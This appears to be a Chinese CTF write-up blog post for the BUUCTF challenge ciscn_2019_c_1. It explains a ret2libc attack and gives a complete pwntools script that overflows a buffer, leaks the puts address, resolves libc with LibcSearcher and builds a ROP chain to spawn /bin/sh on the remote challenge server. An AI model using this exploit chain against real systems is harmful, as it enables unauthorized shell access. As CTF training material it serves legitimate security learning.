当前位置: 首页 > news >正文

buu-ciscn_2019_c_1-好久不见36

  1. 泄露地址:
    利用程序中已执行的函数(如 puts)泄露其地址,取末尾3个字节查找对应的 libc 版本。

  2. 计算偏移量:
    程序中函数地址 = libc 中函数地址 + 偏移量。通过泄露的地址减去 libc 中的函数地址,得到偏移量。

  3. 构造 ROP:
    利用偏移量计算其他函数地址(如 system/bin/sh),构造 ROP 链执行 system("/bin/sh"),获取 shell。

from pwn import*
from LibcSearcher import*
 
r=remote('node5.buuoj.cn',26160)
elf=ELF('./123')
 
main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9
 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
 
r.sendlineafter('Input your choice!\n','1')
offset = 0x50+8
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(pop_rdi)
payload=payload+p64(puts_got)
payload=payload+p64(puts_plt)
payload=payload+p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
print(hex(Offset))
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
 
r.interactive()

相关文章:

  • SpringBoot整合Email 邮件发送详解
  • Python经典游戏:植物大战僵尸(附源码!)
  • mac 意外退出移动硬盘后再次插入移动硬盘不显示怎么办
  • springboot整合modbus实现通讯
  • github用户名密码登陆失效了
  • SolidWorks速成教程P3-7【零件 | 第七节】——3D设计打印手机支架+草图文本草图图片材质与质量属性测量
  • TypeScript 面试题
  • 直线导轨尺寸参数
  • 在Autonomous DB中创建训练数据集
  • 机试刷题_数组中出现次数超过一半的数字【python】
  • Linux上Elasticsearch 集群部署指南
  • UE5中的四元数
  • 【kafka系列】日志存储设计 消息写入、读取
  • 基于CXL内存的热数据检测技术解读
  • SpringCloud面试题----如何保证 Spring Cloud 微服务的安全性
  • 【MySQL】数据库基础知识
  • 数据库脚本MySQL8转MySQL5
  • 基于角色访问控制的UML 表示02
  • 【Python】函数
  • Java八股文详细文档.2(基于黑马、ChatGPT、DeepSeek)
  • 青海省交通运输厅副厅长田明有接受审查调查
  • 颜福庆与顾临的争论:1930年代在中国维持一家医学院要花多少钱
  • 习近平出席中拉论坛第四届部长级会议开幕式并发表主旨讲话
  • 尊严的代价:新加坡福利体系下的价值困境
  • 城事 | 重庆新增热门打卡地标,首座熊猫主题轨交站亮相
  • 宜昌全域高质量发展:机制创新与产业重构的双向突围